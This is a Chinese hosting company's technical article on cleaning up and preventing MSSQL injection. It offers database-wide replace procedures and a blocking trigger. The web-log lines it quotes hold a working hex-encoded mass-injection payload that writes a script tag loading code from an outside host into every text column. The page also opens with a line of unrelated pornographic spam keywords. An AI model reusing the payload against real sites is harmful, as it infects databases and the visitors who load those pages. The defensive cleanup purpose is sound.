亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網絡,我們將竭誠為您提供優質的服務! 誠征網絡推廣 | 網站備案 | 幫助中心 | 軟件下載 | 購買流程 | 付款方式 | 聯系我們 [ 會員登錄/注冊 ]
促銷推廣
客服中心
業務咨詢
有事點擊這里…  531199185
有事點擊這里…  61352289
點擊這里給我發消息  81721488
有事點擊這里…  376585780
有事點擊這里…  872642803
有事點擊這里…  459248018
有事點擊這里…  61352288
有事點擊這里…  380791050
技術支持
有事點擊這里…  714236853
有事點擊這里…  719304487
有事點擊這里…  1208894568
有事點擊這里…  61352289
在線客服
有事點擊這里…  531199185
有事點擊這里…  61352288
有事點擊這里…  983054746
有事點擊這里…  893984210
當前位置:首頁 >> 技術文章 >> 文章瀏覽
技術文章

MSSQL注入的清理及防范

添加時間:2012-4-7  添加: admin 

asp+mssql開發的網站如果對get/post參數處理不好,很容易被注入,在數據庫中插入類似< src=....></>和<iframe src=... width=0 height=0></iframe>的病毒或木馬代碼,使得訪問該站點的訪問者訪問時運行該代碼。


查看被注入的web日志可以發現形如下面的日志信息
news_id=674;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--   
news_id=674;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--

使用如下sql存儲過程清理被注入的木馬等惡意程序代碼:

SET QUOTED_IDENTIFIER OFF   
GO   
SET ANSI_NULLS OFF   
GO   


Create proc [dbo].[ReplaceKeyWord]   

@old nvarchar(100),   

@new nvarchar(100)   

as   

declare @sql nvarchar(1000)   

set @sql=N'   

declare   @s   nvarchar(4000),@tbname   sysname   

select   @s=N'''',@tbname=N''?''   

select   @s=@s+N'',''+quotename(a.name)+N''=replace(''+quotename(a.name)+N'',N'''''+@old+''''',N'''''+@new+''''')''   

from   syscolumns   a,systypes   b   

where   a.id=object_id(@tbname)      

and   a.xusertype=b.xusertype   

and   b.name   like   N''%char''   

if   @@rowcount>0   

begin   

set   @s=stuff(@s,1,1,N'''')   

exec(N''update   ''+@tbname+''   set   ''+@s)   

end '   

--print @sql   

exec   sp_msforeachtable   @sql;   

set @sql=N'   

declare   @s   nvarchar(4000),@tbname   sysname   

select   @s=N'''',@tbname=N''?''   

select   @s=@s+quotename(a.name)+N'',''   

from   syscolumns   a,systypes   b   

where   a.id=object_id(@tbname)      

and   a.xusertype=b.xusertype   

and   b.name   like   N''%text''   

if   @@rowcount>0   

begin   

exec UpdateTextColumn @tbname,@s,'''+@old+''','''+@new+'''   

end   

' ;   

exec   sp_msforeachtable @sql   

GO   
SET QUOTED_IDENTIFIER OFF   
GO   
SET ANSI_NULLS ON   
GO   

SET QUOTED_IDENTIFIER OFF   
GO   
SET ANSI_NULLS OFF   
GO   


CREATE proc [dbo].[UpdateTextColumn]   

@Table varchar(100),   

@Columns varchar(200),--eg:Column1,Column2,   

@old varchar(100),   

@new varchar(100)   

as   

    set nocount on   

    declare @sql nvarchar(2000)   

    declare @Column varchar(50)   

    declare @cpos int,@npos int   

    set @cpos=1;   

    set @npos=1;   

    set @npos=charindex(',',@Columns,@cpos);   

    while(@npos>0)   

    begin   

        set @Column = substring(@Columns,@cpos,@npos-@cpos);   

        set @cpos = @npos+1   

        set @npos=charindex(',',@Columns,@cpos);   

           

        set @sql = 'update '+@Table+' set '+@Column+'=replace(cast('+@Column+' as varchar(8000)),@old,@new) where Datalength('+@Column+')<=8000';   

        EXECUTE sp_executesql @Sql,   

                           N'@old varchar(100),@new varchar(100)',   

                           @old,   

                           @new   

        declare @ptr binary(16) ,@offset int,@dellen int   

           

        set @dellen = len(@old)   

           

        set @offset = 1

        while @offset>=1   

        begin   

            set @offset = 0

            set @sql = 'select     top 1 @offset = charindex('''+@old+''' , '+@Column+'), @ptr = textptr('+@Column+') from '+@Table+' where Datalength('+@Column+')>8000 and '+@Column+' like ''%'+@old+'%''';   

            EXEC sp_executesql @Sql,N'@offset int OUTPUT,@ptr binary(16) OUTPUT,@old varchar(100)',   

                               @offset OUTPUT,@ptr OUTPUT,@old;   

           if @offset > 0   

            begin   

                set @offset = @offset-1   

                set @sql='updatetext '+@Table+'.'+@Column+' @ptr @offset @dellen @new';   

                EXEC sp_executesql @Sql,N'@offset int ,@ptr binary(16),@dellen int,@new varchar(100)',@offset,@ptr,@dellen,@new;   

            end   

        end   

end   

GO   
SET QUOTED_IDENTIFIER OFF   
GO   
SET ANSI_NULLS ON   
GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS OFF
GO


Create proc [dbo].[ReplaceKeyWord]

@old nvarchar(100),

@new nvarchar(100)

as

declare @sql nvarchar(1000)

set @sql=N'

declare   @s   nvarchar(4000),@tbname   sysname

select   @s=N'''',@tbname=N''?''

select   @s=@s+N'',''+quotename(a.name)+N''=replace(''+quotename(a.name)+N'',N'''''+@old+''''',N'''''+@new+''''')''

from   syscolumns   a,systypes   b

where   a.id=object_id(@tbname)   

and   a.xusertype=b.xusertype

and   b.name   like   N''%char''

if   @@rowcount>0

begin

set   @s=stuff(@s,1,1,N'''')

exec(N''update   ''+@tbname+''   set   ''+@s)

end '

--print @sql

exec   sp_msforeachtable   @sql;

set @sql=N'

declare   @s   nvarchar(4000),@tbname   sysname

select   @s=N'''',@tbname=N''?''

select   @s=@s+quotename(a.name)+N'',''

from   syscolumns   a,systypes   b

where   a.id=object_id(@tbname)   

and   a.xusertype=b.xusertype

and   b.name   like   N''%text''

if   @@rowcount>0

begin

exec UpdateTextColumn @tbname,@s,'''+@old+''','''+@new+'''

end

' ;

exec   sp_msforeachtable @sql

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS OFF
GO


CREATE proc [dbo].[UpdateTextColumn]

@Table varchar(100),

@Columns varchar(200),--eg:Column1,Column2,

@old varchar(100),

@new varchar(100)

as

    set nocount on

    declare @sql nvarchar(2000)

    declare @Column varchar(50)

    declare @cpos int,@npos int

    set @cpos=1;

    set @npos=1;

    set @npos=charindex(',',@Columns,@cpos);

    while(@npos>0)

    begin

        set @Column = substring(@Columns,@cpos,@npos-@cpos);

        set @cpos = @npos+1

        set @npos=charindex(',',@Columns,@cpos);

      

        set @sql = 'update '+@Table+' set '+@Column+'=replace(cast('+@Column+' as varchar(8000)),@old,@new) where Datalength('+@Column+')<=8000';

        EXECUTE sp_executesql @Sql,

                           N'@old varchar(100),@new varchar(100)',

                           @old,

                           @new

        declare @ptr binary(16) ,@offset int,@dellen int

      

        set @dellen = len(@old)

      

        set @offset = 1

        while @offset>=1

        begin

            set @offset = 0

            set @sql = 'select     top 1 @offset = charindex('''+@old+''' , '+@Column+'), @ptr = textptr('+@Column+') from '+@Table+' where Datalength('+@Column+')>8000 and '+@Column+' like ''%'+@old+'%''';

            EXEC sp_executesql @Sql,N'@offset int OUTPUT,@ptr binary(16) OUTPUT,@old varchar(100)',

                               @offset OUTPUT,@ptr OUTPUT,@old;

           if @offset > 0

            begin

                set @offset = @offset-1

                set @sql='updatetext '+@Table+'.'+@Column+' @ptr @offset @dellen @new';

                EXEC sp_executesql @Sql,N'@offset int ,@ptr binary(16),@dellen int,@new varchar(100)',@offset,@ptr,@dellen,@new;

            end

        end

end

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO


使用方法:

exec ReplaceKeyWord '需要替換的字符','替換成的新字符'
exec ReplaceKeyWord '<iframe src=... width=0 height=0></iframe>',''

上面的語句執行后會將整個數據庫中所有的表的所有字段中含有的<iframe src=... width=0 height=0></iframe>替換掉.

對程序參數進行嚴格的類型判斷配合通用防注入程序(網上可以找到),一般就不會出現被注入的情況了,如果仍然不可以的話,可以在MSSQL里加如觸發器對插入的內容進行限制。
例如:

view plaincopy to clipboardprint?
CREATE TRIGGER [del_danwei] ON [dbo].[danwei]   
FOR INSERT, UPDATE   
AS   
begin   
declare @scontent as nvarchar(4000)   
     
select @scontent=title+content from inserted   
if CHARINDEX('<',lower(@scontent))>0   or CHARINDEX('<iframe',lower(@scontent))>0     
   begin   
    RAISERROR ('危險腳本', 16, 1)   
                             ROLLBACK   
   end   

end
CREATE TRIGGER [del_danwei] ON [dbo].[danwei]
FOR INSERT, UPDATE
AS
begin
declare @scontent as nvarchar(4000)

select @scontent=title+content from inserted
if CHARINDEX('<',lower(@scontent))>0   or CHARINDEX('<iframe',lower(@scontent))>0
   begin
    RAISERROR ('危險腳本', 16, 1)
                             ROLLBACK
   end

end


上面的觸發器是在danwei表上加的限制在title和content字段插入類似<....../scrip>和<iframe....../iframe>字符的,如果插入或更新的內容含有類似字符,系統會執行回滾,信息不會被插入或更新。一般情況下很多注入都是通過程序自動完成的,所以用觸發器能起到一定的防范作用。

關鍵詞:注入 代碼

分享到:

頂部 】 【 關閉
版權所有:佛山思海電腦網絡有限公司 ©1998-2024 All Rights Reserved.
聯系電話:(0757)22630313、22633833
中華人民共和國增值電信業務經營許可證: 粵B1.B2-20030321 備案號:粵B2-20030321-1
網站公安備案編號:44060602000007 交互式欄目專項備案編號:200303DD003  
察察 工商 網安 舉報有獎  警警  手機打開網站